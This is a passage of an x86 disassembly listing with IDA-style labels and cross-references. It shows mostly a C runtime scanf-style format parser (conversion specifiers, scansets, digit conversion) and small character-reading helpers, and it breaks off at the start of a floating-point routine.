		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43CBC4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C9B8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43CBC8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43CBC8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43CBC4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C9B8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43CBC4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C9B8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43CF68
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43CE40
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43CE38


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C9B8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43CBC4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43CBC4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C9B8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43CBC4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C9B8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43CBC4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C9B8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43CBC4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C9B8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C9B8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43CBC4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C9B8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D330, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
